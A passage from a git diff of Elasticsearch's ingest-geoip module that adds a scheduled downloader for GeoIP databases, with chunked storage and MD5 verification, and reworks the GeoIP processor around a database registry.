pool. + // This makes the code easier to understand and maintain. + SearchResponse searchResponse = client.search(searchRequest).actionGet(); + SearchHit[] hits = searchResponse.getHits().getHits(); + + if (searchResponse.getHits().getHits().length == 0) { + failureHandler.accept(new ResourceNotFoundException("chunk document with id [" + id + "] not found")); + return; + } + byte[] data = (byte[]) hits[0].getSourceAsMap().get("data"); + md.update(data); + chunkConsumer.accept(data); + } + String actualMd5 = MessageDigests.toHexString(md.digest()); + if (Objects.equals(expectedMd5, actualMd5)) { + completedHandler.run(); + } else { + failureHandler.accept(new RuntimeException("expected md5 hash [" + expectedMd5 + + "], but got md5 hash [" + actualMd5 + "]")); + } + } catch (Exception e) { + failureHandler.accept(e); + } + }); + } + + public Set getAvailableDatabases() { + return Set.copyOf(databases.keySet()); + } + + public Set getFilesInTemp() { + try (Stream files = Files.list(geoipTmpDirectory)) { + return files.map(Path::getFileName).map(Path::toString).collect(Collectors.toSet()); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpCache.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpCache.java index a86037c7423c7..8caa5e0fd6304 100644 --- a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpCache.java +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpCache.java @@ -13,6 +13,7 @@ import org.elasticsearch.common.cache.CacheBuilder; import java.net.InetAddress; +import java.nio.file.Path; import java.util.Objects; import java.util.function.Function; @@ -55,6 +56,22 @@ AbstractResponse get(InetAddress ip, String databasePath) { return cache.get(cacheKey); } + public int purgeCacheEntriesForDatabase(Path databaseFile) { + String databasePath = databaseFile.toString(); + int counter = 0; + for (CacheKey key : cache.keys()) { + if (key.databasePath.equals(databasePath)) { + cache.invalidate(key); + counter++; + } + } + return counter; + } + + public int count() { + return cache.count(); + } + /** * The key to use for the cache. Since this cache can span multiple geoip processors that all use different databases, the database * path is needed to be included in the cache key. For example, if we only used the IP address as the key the City and ASN the same diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloader.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloader.java new file mode 100644 index 0000000000000..b0d02d07deb0e --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloader.java @@ -0,0 +1,256 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.elasticsearch.action.ActionListener; +import org.elasticsearch.action.admin.indices.flush.FlushRequest; +import org.elasticsearch.action.admin.indices.refresh.RefreshRequest; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.support.PlainActionFuture; +import org.elasticsearch.client.Client; +import org.elasticsearch.client.OriginSettingClient; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.hash.MessageDigests; +import org.elasticsearch.common.settings.Setting; +import org.elasticsearch.common.settings.Setting.Property; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.TimeValue; +import org.elasticsearch.common.xcontent.DeprecationHandler; +import org.elasticsearch.common.xcontent.NamedXContentRegistry; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.common.xcontent.XContentType; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.MatchQueryBuilder; +import org.elasticsearch.index.query.RangeQueryBuilder; +import org.elasticsearch.index.reindex.DeleteByQueryAction; +import org.elasticsearch.index.reindex.DeleteByQueryRequest; +import org.elasticsearch.ingest.IngestService; +import org.elasticsearch.ingest.geoip.GeoIpTaskState.Metadata; +import org.elasticsearch.ingest.geoip.stats.GeoIpDownloaderStats; +import org.elasticsearch.persistent.AllocatedPersistentTask; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata.PersistentTask; +import org.elasticsearch.tasks.TaskId; +import org.elasticsearch.threadpool.Scheduler; +import org.elasticsearch.threadpool.ThreadPool; + +import java.io.IOException; +import java.io.InputStream; +import java.security.MessageDigest; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * Main component responsible for downloading new GeoIP databases. + * New databases are downloaded in chunks and stored in .geoip_databases index + * Downloads are verified against MD5 checksum provided by the server + * Current state of all stored databases is stored in cluster state in persistent task state + */ +public class GeoIpDownloader extends AllocatedPersistentTask { + + private static final Logger logger = LogManager.getLogger(GeoIpDownloader.class); + + public static final Setting POLL_INTERVAL_SETTING = Setting.timeSetting("ingest.geoip.downloader.poll.interval", + TimeValue.timeValueDays(3), TimeValue.timeValueDays(1), Property.Dynamic, Property.NodeScope); + public static final Setting ENDPOINT_SETTING = Setting.simpleString("ingest.geoip.downloader.endpoint", + "https://geoip.elastic.co/v1/database", Property.NodeScope); + + public static final String GEOIP_DOWNLOADER = "geoip-downloader"; + static final String DATABASES_INDEX = ".geoip_databases"; + static final int MAX_CHUNK_SIZE = 1024 * 1024; + + private final Client client; + private final HttpClient httpClient; + private final ThreadPool threadPool; + private final String endpoint; + + //visible for testing + protected volatile GeoIpTaskState state; + private volatile TimeValue pollInterval; + private volatile Scheduler.ScheduledCancellable scheduled; + private volatile GeoIpDownloaderStats stats = GeoIpDownloaderStats.EMPTY; + + GeoIpDownloader(Client client, HttpClient httpClient, ClusterService clusterService, ThreadPool threadPool, Settings settings, + long id, String type, String action, String description, TaskId parentTask, Map headers) { + super(id, type, action, description, parentTask, headers); + this.httpClient = httpClient; + this.client = new OriginSettingClient(client, IngestService.INGEST_ORIGIN); + this.threadPool = threadPool; + endpoint = ENDPOINT_SETTING.get(settings); + pollInterval = POLL_INTERVAL_SETTING.get(settings); + clusterService.getClusterSettings().addSettingsUpdateConsumer(POLL_INTERVAL_SETTING, this::setPollInterval); + } + + public void setPollInterval(TimeValue pollInterval) { + this.pollInterval = pollInterval; + if (scheduled != null && scheduled.cancel()) { + scheduleNextRun(new TimeValue(1)); + } + } + + //visible for testing + void updateDatabases() throws IOException { + logger.info("updating geoip databases"); + List> response = fetchDatabasesOverview(); + for (Map res : response) { + if (res.get("name").toString().endsWith(".tgz")) { + processDatabase(res); + } + } + } + + @SuppressWarnings("unchecked") + private List fetchDatabasesOverview() throws IOException { + String url = endpoint + "?elastic_geoip_service_tos=agree"; + logger.info("fetching geoip databases overview from [" + url + "]"); + byte[] data = httpClient.getBytes(url); + try (XContentParser parser = XContentType.JSON.xContent().createParser(NamedXContentRegistry.EMPTY, + DeprecationHandler.THROW_UNSUPPORTED_OPERATION, data)) { + return (List) parser.list(); + } + } + + //visible for testing + void processDatabase(Map databaseInfo) { + String name = databaseInfo.get("name").toString().replace(".tgz", "") + ".mmdb"; + String md5 = (String) databaseInfo.get("md5_hash"); + if (state.contains(name) && Objects.equals(md5, state.get(name).getMd5())) { + updateTimestamp(name, state.get(name)); + return; + } + logger.info("updating geoip database [" + name + "]"); + String url = databaseInfo.get("url").toString(); + if (url.startsWith("http") == false) { + //relative url, add it after last slash (i.e resolve sibling) or at the end if there's no slash after http[s]:// + int lastSlash = endpoint.substring(8).lastIndexOf('/'); + url = (lastSlash != -1 ? endpoint.substring(0, lastSlash + 8) : endpoint) + "/" + url; + } + long start = System.currentTimeMillis(); + try (InputStream is = httpClient.get(url)) { + int firstChunk = state.contains(name) ? state.get(name).getLastChunk() + 1 : 0; + int lastChunk = indexChunks(name, is, firstChunk, md5, start); + if (lastChunk > firstChunk) { + state = state.put(name, new Metadata(start, firstChunk, lastChunk - 1, md5)); + updateTaskState(); + stats = stats.successfulDownload(System.currentTimeMillis() - start).count(state.getDatabases().size()); + logger.info("updated geoip database [" + name + "]"); + deleteOldChunks(name, firstChunk); + } + } catch (Exception e) { + stats = stats.failedDownload(); + logger.error("error updating geoip database [" + name + "]", e); + } + } + + //visible for testing + void deleteOldChunks(String name, int firstChunk) { + BoolQueryBuilder queryBuilder = new BoolQueryBuilder() + .filter(new MatchQueryBuilder("name", name)) + .filter(new RangeQueryBuilder("chunk").to(firstChunk, false)); + DeleteByQueryRequest request = new DeleteByQueryRequest(); + request.indices(DATABASES_INDEX); + request.setQuery(queryBuilder); + client.execute(DeleteByQueryAction.INSTANCE, request, ActionListener.wrap(r -> { + }, e -> logger.warn("could not delete old chunks for geoip database [" + name + "]", e))); + } + + //visible for testing + protected void updateTimestamp(String name, Metadata old) { + logger.info("geoip database [" + name + "] is up to date, updated timestamp"); + state = state.put(name, new Metadata(System.currentTimeMillis(), old.getFirstChunk(), old.getLastChunk(), old.getMd5())); + stats = stats.skippedDownload(); + updateTaskState(); + } + + void updateTaskState() { + PlainActionFuture> future = PlainActionFuture.newFuture(); + updatePersistentTaskState(state, future); + state = ((GeoIpTaskState) future.actionGet().getState()); + } + + //visible for testing + int indexChunks(String name, InputStream is, int chunk, String expectedMd5, long timestamp) throws IOException { + MessageDigest md = MessageDigests.md5(); + for (byte[] buf = getChunk(is); buf.length != 0; buf = getChunk(is)) { + md.update(buf); + IndexRequest indexRequest = new IndexRequest(DATABASES_INDEX) + .id(name + "_" + chunk + "_" + timestamp) + .create(true) + .source(XContentType.SMILE, "name", name, "chunk", chunk, "data", buf); + client.index(indexRequest).actionGet(); + chunk++; + } + + // May take some time before automatic flush kicks in: + // (otherwise the translog will contain large documents for some time without good reason) + FlushRequest flushRequest = new FlushRequest(DATABASES_INDEX); + client.admin().indices().flush(flushRequest).actionGet(); + // Ensure that the chunk documents are visible: + RefreshRequest refreshRequest = new RefreshRequest(DATABASES_INDEX); + client.admin().indices().refresh(refreshRequest).actionGet(); + + String actualMd5 = MessageDigests.toHexString(md.digest()); + if (Objects.equals(expectedMd5, actualMd5) == false) { + throw new IOException("md5 checksum mismatch, expected [" + expectedMd5 + "], actual [" + actualMd5 + "]"); + } + return chunk; + } + + //visible for testing + byte[] getChunk(InputStream is) throws IOException { + byte[] buf = new byte[MAX_CHUNK_SIZE]; + int chunkSize = 0; + while (chunkSize < MAX_CHUNK_SIZE) { + int read = is.read(buf, chunkSize, MAX_CHUNK_SIZE - chunkSize); + if (read == -1) { + break; + } + chunkSize += read; + } + if (chunkSize < MAX_CHUNK_SIZE) { + buf = Arrays.copyOf(buf, chunkSize); + } + return buf; + } + + void setState(GeoIpTaskState state) { + this.state = state; + } + + void runDownloader() { + if (isCancelled() || isCompleted()) { + return; + } + try { + updateDatabases(); + } catch (Exception e) { + logger.error("exception during geoip databases update", e); + } + scheduleNextRun(pollInterval); + } + + @Override + protected void onCancelled() { + if (scheduled != null) { + scheduled.cancel(); + } + } + + @Override + public GeoIpDownloaderStats getStatus() { + return isCancelled() || isCompleted() ? null : stats; + } + + private void scheduleNextRun(TimeValue time) { + scheduled = threadPool.schedule(this::runDownloader, time, ThreadPool.Names.GENERIC); + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java new file mode 100644 index 0000000000000..c6a1c3a87e606 --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpDownloaderTaskExecutor.java @@ -0,0 +1,121 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.elasticsearch.ResourceAlreadyExistsException; +import org.elasticsearch.action.ActionListener; +import org.elasticsearch.client.Client; +import org.elasticsearch.cluster.ClusterChangedEvent; +import org.elasticsearch.cluster.ClusterStateListener; +import org.elasticsearch.cluster.service.ClusterService; +import org.elasticsearch.common.settings.Setting; +import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.persistent.AllocatedPersistentTask; +import org.elasticsearch.persistent.PersistentTaskState; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata; +import org.elasticsearch.persistent.PersistentTasksExecutor; +import org.elasticsearch.persistent.PersistentTasksService; +import org.elasticsearch.tasks.TaskId; +import org.elasticsearch.threadpool.ThreadPool; + +import java.util.Map; +import java.util.concurrent.atomic.AtomicReference; + +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.GEOIP_DOWNLOADER; + +/** + * Persistent task executor that is responsible for starting {@link GeoIpDownloader} after task is allocated by master node. + * Also bootstraps GeoIP download task on clean cluster and handles changes to the 'ingest.geoip.downloader.enabled' setting + */ +public final class GeoIpDownloaderTaskExecutor extends PersistentTasksExecutor implements ClusterStateListener { + + static final boolean ENABLED_DEFAULT = "true".equals(System.getProperty("ingest.geoip.downloader.enabled.default")); + public static final Setting ENABLED_SETTING = Setting.boolSetting("ingest.geoip.downloader.enabled", ENABLED_DEFAULT, + Setting.Property.Dynamic, Setting.Property.NodeScope); + + private static final Logger logger = LogManager.getLogger(GeoIpDownloader.class); + + private final Client client; + private final HttpClient httpClient; + private final ClusterService clusterService; + private final ThreadPool threadPool; + private final Settings settings; + private final PersistentTasksService persistentTasksService; + private final AtomicReference currentTask = new AtomicReference<>(); + + GeoIpDownloaderTaskExecutor(Client client, HttpClient httpClient, ClusterService clusterService, ThreadPool threadPool) { + super(GEOIP_DOWNLOADER, ThreadPool.Names.GENERIC); + this.client = client; + this.httpClient = httpClient; + this.clusterService = clusterService; + this.threadPool = threadPool; + this.settings = clusterService.getSettings(); + persistentTasksService = new PersistentTasksService(clusterService, threadPool, client); + if (ENABLED_SETTING.get(settings)) { + clusterService.addListener(this); + } + clusterService.getClusterSettings().addSettingsUpdateConsumer(ENABLED_SETTING, this::setEnabled); + } + + private void setEnabled(boolean enabled) { + if (clusterService.state().nodes().isLocalNodeElectedMaster() == false) { + // we should only start/stop task from single node, master is the best as it will go through it anyway + return; + } + if (enabled) { + startTask(() -> { + }); + } else { + persistentTasksService.sendRemoveRequest(GEOIP_DOWNLOADER, ActionListener.wrap(r -> { + }, e -> logger.error("failed to remove geoip task", e))); + } + } + + @Override + protected void nodeOperation(AllocatedPersistentTask task, GeoIpTaskParams params, PersistentTaskState state) { + GeoIpDownloader downloader = (GeoIpDownloader) task; + currentTask.set(downloader); + GeoIpTaskState geoIpTaskState = state == null ? GeoIpTaskState.EMPTY : (GeoIpTaskState) state; + downloader.setState(geoIpTaskState); + downloader.runDownloader(); + } + + @Override + protected GeoIpDownloader createTask(long id, String type, String action, TaskId parentTaskId, + PersistentTasksCustomMetadata.PersistentTask taskInProgress, + Map headers) { + return new GeoIpDownloader(client, httpClient, clusterService, threadPool, settings, id, type, action, + getDescription(taskInProgress), parentTaskId, headers); + } + + @Override + public void clusterChanged(ClusterChangedEvent event) { + //bootstrap downloader after first cluster start + clusterService.removeListener(this); + if (event.localNodeMaster() && ENABLED_SETTING.get(event.state().getMetadata().settings())) { + startTask(() -> clusterService.addListener(this)); + } + } + + private void startTask(Runnable onFailure) { + persistentTasksService.sendStartRequest(GEOIP_DOWNLOADER, GEOIP_DOWNLOADER, new GeoIpTaskParams(), ActionListener.wrap(r -> { + }, e -> { + if (e instanceof ResourceAlreadyExistsException == false) { + logger.error("failed to create geoip downloader task", e); + onFailure.run(); + } + })); + } + + public GeoIpDownloader getCurrentTask(){ + return currentTask.get(); + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpProcessor.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpProcessor.java index 0b397d18908d8..d842e3490a15f 100644 --- a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpProcessor.java +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpProcessor.java @@ -18,6 +18,8 @@ import com.maxmind.geoip2.record.Location; import com.maxmind.geoip2.record.Subdivision; import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.ResourceNotFoundException; +import org.elasticsearch.common.CheckedSupplier; import org.elasticsearch.common.network.InetAddresses; import org.elasticsearch.common.network.NetworkAddress; import org.elasticsearch.ingest.AbstractProcessor; @@ -50,7 +52,7 @@ public final class GeoIpProcessor extends AbstractProcessor { private final String field; private final String targetField; - private final DatabaseReaderLazyLoader lazyLoader; + private final CheckedSupplier supplier; private final Set properties; private final boolean ignoreMissing; private final boolean firstOnly; @@ -60,7 +62,7 @@ public final class GeoIpProcessor extends AbstractProcessor { * @param tag the processor tag * @param description the processor description * @param field the source field to geo-IP map - * @param lazyLoader a supplier of a geo-IP database reader; ideally this is lazily-loaded once on first use + * @param supplier a supplier of a geo-IP database reader; ideally this is lazily-loaded once on first use * @param targetField the target field * @param properties the properties; ideally this is lazily-loaded once on first use * @param ignoreMissing true if documents with a missing value for the field should be ignored @@ -68,16 +70,17 @@ public final class GeoIpProcessor extends AbstractProcessor { */ GeoIpProcessor( final String tag, - String description, final String field, - final DatabaseReaderLazyLoader lazyLoader, + final String description, + final String field, + final CheckedSupplier supplier, final String targetField, final Set properties, final boolean ignoreMissing, - boolean firstOnly) { + final boolean firstOnly) { super(tag, description); this.field = field; this.targetField = targetField; - this.lazyLoader = lazyLoader; + this.supplier = supplier; this.properties = properties; this.ignoreMissing = ignoreMissing; this.firstOnly = firstOnly; @@ -131,32 +134,37 @@ public IngestDocument execute(IngestDocument ingestDocument) throws IOException } private Map getGeoData(String ip) throws IOException { - String databaseType = lazyLoader.getDatabaseType(); - final InetAddress ipAddress = InetAddresses.forString(ip); - Map geoData; - if (databaseType.endsWith(CITY_DB_SUFFIX)) { - try { - geoData = retrieveCityGeoData(ipAddress); - } catch (AddressNotFoundRuntimeException e) { - geoData = Collections.emptyMap(); - } - } else if (databaseType.endsWith(COUNTRY_DB_SUFFIX)) { - try { - geoData = retrieveCountryGeoData(ipAddress); - } catch (AddressNotFoundRuntimeException e) { - geoData = Collections.emptyMap(); - } - } else if (databaseType.endsWith(ASN_DB_SUFFIX)) { - try { - geoData = retrieveAsnGeoData(ipAddress); - } catch (AddressNotFoundRuntimeException e) { - geoData = Collections.emptyMap(); + DatabaseReaderLazyLoader lazyLoader = this.supplier.get(); + try { + final String databaseType = lazyLoader.getDatabaseType(); + final InetAddress ipAddress = InetAddresses.forString(ip); + Map geoData; + if (databaseType.endsWith(CITY_DB_SUFFIX)) { + try { + geoData = retrieveCityGeoData(lazyLoader, ipAddress); + } catch (AddressNotFoundRuntimeException e) { + geoData = Collections.emptyMap(); + } + } else if (databaseType.endsWith(COUNTRY_DB_SUFFIX)) { + try { + geoData = retrieveCountryGeoData(lazyLoader, ipAddress); + } catch (AddressNotFoundRuntimeException e) { + geoData = Collections.emptyMap(); + } + } else if (databaseType.endsWith(ASN_DB_SUFFIX)) { + try { + geoData = retrieveAsnGeoData(lazyLoader, ipAddress); + } catch (AddressNotFoundRuntimeException e) { + geoData = Collections.emptyMap(); + } + } else { + throw new ElasticsearchParseException("Unsupported database type [" + lazyLoader.getDatabaseType() + + "]", new IllegalStateException()); } - } else { - throw new ElasticsearchParseException("Unsupported database type [" + lazyLoader.getDatabaseType() - + "]", new IllegalStateException()); + return geoData; + } finally { + lazyLoader.postLookup(); } - return geoData; } @Override @@ -173,14 +181,14 @@ String getTargetField() { } String getDatabaseType() throws IOException { - return lazyLoader.getDatabaseType(); + return supplier.get().getDatabaseType(); } Set getProperties() { return properties; } - private Map retrieveCityGeoData(InetAddress ipAddress) { + private Map retrieveCityGeoData(DatabaseReaderLazyLoader lazyLoader, InetAddress ipAddress) { CityResponse response = lazyLoader.getCity(ipAddress); Country country = response.getCountry(); City city = response.getCity(); @@ -255,7 +263,7 @@ private Map retrieveCityGeoData(InetAddress ipAddress) { return geoData; } - private Map retrieveCountryGeoData(InetAddress ipAddress) { + private Map retrieveCountryGeoData(DatabaseReaderLazyLoader lazyLoader, InetAddress ipAddress) { CountryResponse response = lazyLoader.getCountry(ipAddress); Country country = response.getCountry(); Continent continent = response.getContinent(); @@ -289,7 +297,7 @@ private Map retrieveCountryGeoData(InetAddress ipAddress) { return geoData; } - private Map retrieveAsnGeoData(InetAddress ipAddress) { + private Map retrieveAsnGeoData(DatabaseReaderLazyLoader lazyLoader, InetAddress ipAddress) { AsnResponse response = lazyLoader.getAsn(ipAddress); Integer asn = response.getAutonomousSystemNumber(); String organization_name = response.getAutonomousSystemOrganization(); @@ -333,14 +341,14 @@ public static final class Factory implements Processor.Factory { Property.IP, Property.ASN, Property.ORGANIZATION_NAME, Property.NETWORK )); - private final Map databaseReaders; + private final DatabaseRegistry databaseRegistry; - Map databaseReaders() { - return Collections.unmodifiableMap(databaseReaders); + List getAllDatabases() { + return databaseRegistry.getAllDatabases(); } - public Factory(Map databaseReaders) { - this.databaseReaders = databaseReaders; + public Factory(DatabaseRegistry databaseRegistry) { + this.databaseRegistry = databaseRegistry; } @Override @@ -354,14 +362,19 @@ public GeoIpProcessor create( List propertyNames = readOptionalList(TYPE, processorTag, config, "properties"); boolean ignoreMissing = readBooleanProperty(TYPE, processorTag, config, "ignore_missing", false); boolean firstOnly = readBooleanProperty(TYPE, processorTag, config, "first_only", true); + boolean fallbackUsingDefaultDatabases = readBooleanProperty(TYPE, processorTag, config, "fallback_to_default_databases", true); - DatabaseReaderLazyLoader lazyLoader = databaseReaders.get(databaseFile); + DatabaseReaderLazyLoader lazyLoader = databaseRegistry.getDatabase(databaseFile, fallbackUsingDefaultDatabases); if (lazyLoader == null) { throw newConfigurationException(TYPE, processorTag, "database_file", "database file [" + databaseFile + "] doesn't exist"); } - - final String databaseType = lazyLoader.getDatabaseType(); + final String databaseType; + try { + databaseType = lazyLoader.getDatabaseType(); + } finally { + lazyLoader.postLookup(); + } final Set properties; if (propertyNames != null) { @@ -386,8 +399,21 @@ public GeoIpProcessor create( + databaseType + "]"); } } - - return new GeoIpProcessor(processorTag, description, ipField, lazyLoader, targetField, properties, ignoreMissing, firstOnly); + CheckedSupplier supplier = () -> { + DatabaseReaderLazyLoader loader = databaseRegistry.getDatabase(databaseFile, fallbackUsingDefaultDatabases); + if (loader == null) { + throw new ResourceNotFoundException("database file [" + databaseFile + "] doesn't exist"); + } + // Only check whether the suffix has changed and not the entire database type. + // To sanity check whether a city db isn't overwriting with a country or asn db. + // For example overwriting a geoip lite city db with geoip city db is a valid change, but the db type is slightly different, + // by checking just the suffix this assertion doesn't fail. + String expectedSuffix = databaseType.substring(databaseType.lastIndexOf('-')); + assert loader.getDatabaseType().endsWith(expectedSuffix) : "database type [" + loader.getDatabaseType() + + "] doesn't match with expected suffix [" + expectedSuffix + "]"; + return loader; + }; + return new GeoIpProcessor(processorTag, description, ipField, supplier, targetField, properties, ignoreMissing, firstOnly); } } diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskParams.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskParams.java new file mode 100644 index 0000000000000..896becc6b0d8e --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskParams.java @@ -0,0 +1,67 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.Version; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.io.stream.StreamOutput; +import org.elasticsearch.common.xcontent.ObjectParser; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.persistent.PersistentTaskParams; + +import java.io.IOException; + +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.GEOIP_DOWNLOADER; + +class GeoIpTaskParams implements PersistentTaskParams { + + public static final ObjectParser PARSER = new ObjectParser<>(GEOIP_DOWNLOADER, true, GeoIpTaskParams::new); + + GeoIpTaskParams() { + } + + GeoIpTaskParams(StreamInput in) { + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + builder.endObject(); + return builder; + } + + @Override + public String getWriteableName() { + return GEOIP_DOWNLOADER; + } + + @Override + public Version getMinimalSupportedVersion() { + return Version.V_7_13_0; + } + + @Override + public void writeTo(StreamOutput out) { + } + + public static GeoIpTaskParams fromXContent(XContentParser parser) { + return PARSER.apply(parser, null); + } + + @Override + public int hashCode() { + return 0; + } + + @Override + public boolean equals(Object obj) { + return obj instanceof GeoIpTaskParams; + } +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskState.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskState.java new file mode 100644 index 0000000000000..08297866bf51f --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/GeoIpTaskState.java @@ -0,0 +1,216 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.elasticsearch.Version; +import org.elasticsearch.common.ParseField; +import org.elasticsearch.common.collect.Tuple; +import org.elasticsearch.common.io.stream.StreamInput; +import org.elasticsearch.common.io.stream.StreamOutput; +import org.elasticsearch.common.io.stream.VersionedNamedWriteable; +import org.elasticsearch.common.xcontent.ConstructingObjectParser; +import org.elasticsearch.common.xcontent.ToXContentObject; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentParser; +import org.elasticsearch.persistent.PersistentTaskState; + +import java.io.IOException; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.stream.Collectors; + +import static org.elasticsearch.common.xcontent.ConstructingObjectParser.constructorArg; +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.GEOIP_DOWNLOADER; + +class GeoIpTaskState implements PersistentTaskState, VersionedNamedWriteable { + + private static final ParseField DATABASES = new ParseField("databases"); + + static final GeoIpTaskState EMPTY = new GeoIpTaskState(Collections.emptyMap()); + + @SuppressWarnings("unchecked") + private static final ConstructingObjectParser PARSER = + new ConstructingObjectParser<>(GEOIP_DOWNLOADER, true, + args -> { + List> databases = (List>) args[0]; + return new GeoIpTaskState(databases.stream().collect(Collectors.toMap(Tuple::v1, Tuple::v2))); + }); + + static { + PARSER.declareNamedObjects(constructorArg(), (p, c, name) -> Tuple.tuple(name, Metadata.fromXContent(p)), DATABASES); + } + + public static GeoIpTaskState fromXContent(XContentParser parser) throws IOException { + return PARSER.parse(parser, null); + } + + private final Map databases; + + GeoIpTaskState(Map databases) { + this.databases = Map.copyOf(databases); + } + + GeoIpTaskState(StreamInput input) throws IOException { + databases = Collections.unmodifiableMap(input.readMap(StreamInput::readString, + in -> new Metadata(in.readLong(), in.readVInt(), in.readVInt(), in.readString()))); + } + + public GeoIpTaskState put(String name, Metadata metadata) { + HashMap newDatabases = new HashMap<>(databases); + newDatabases.put(name, metadata); + return new GeoIpTaskState(newDatabases); + } + + public Map getDatabases() { + return databases; + } + + public boolean contains(String name) { + return databases.containsKey(name); + } + + public Metadata get(String name) { + return databases.get(name); + } + + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (o == null || getClass() != o.getClass()) return false; + GeoIpTaskState that = (GeoIpTaskState) o; + return databases.equals(that.databases); + } + + @Override + public int hashCode() { + return Objects.hash(databases); + } + + @Override + public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { + builder.startObject(); + { + builder.startObject("databases"); + for (Map.Entry e : databases.entrySet()) { + builder.field(e.getKey(), e.getValue()); + } + builder.endObject(); + } + builder.endObject(); + return builder; + } + + @Override + public String getWriteableName() { + return "geoip-downloader"; + } + + @Override + public Version getMinimalSupportedVersion() { + return Version.V_7_13_0; + } + + @Override + public void writeTo(StreamOutput out) throws IOException { + out.writeMap(databases, StreamOutput::writeString, (o, v) -> { + o.writeLong(v.lastUpdate); + o.writeVInt(v.firstChunk); + o.writeVInt(v.lastChunk); + o.writeString(v.md5); + }); + } + + static class Metadata implements ToXContentObject { + + static final String NAME = GEOIP_DOWNLOADER + "-metadata"; + private static final ParseField LAST_UPDATE = new ParseField("last_update"); + private static final ParseField FIRST_CHUNK = new ParseField("first_chunk"); + private static final ParseField LAST_CHUNK = new ParseField("last_chunk"); + private static final ParseField MD5 = new ParseField("md5"); + + private static final ConstructingObjectParser PARSER = + new ConstructingObjectParser<>(NAME, true, + args -> new Metadata((long) args[0], (int) args[1], (int) args[2], (String) args[3])); + + static { + PARSER.declareLong(constructorArg(), LAST_UPDATE); + PARSER.declareInt(constructorArg(), FIRST_CHUNK); + PARSER.declareInt(constructorArg(), LAST_CHUNK); + PARSER.declareString(constructorArg(), MD5); + } + + public static Metadata fromXContent(XContentParser parser) { + try { + return PARSER.parse(parser, null); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + private final long lastUpdate; + private final int firstChunk; + private final int lastChunk; + private final String md5; + + Metadata(long lastUpdate, int firstChunk, int lastChunk, String md5) { + this.lastUpdate = lastUpdate; + 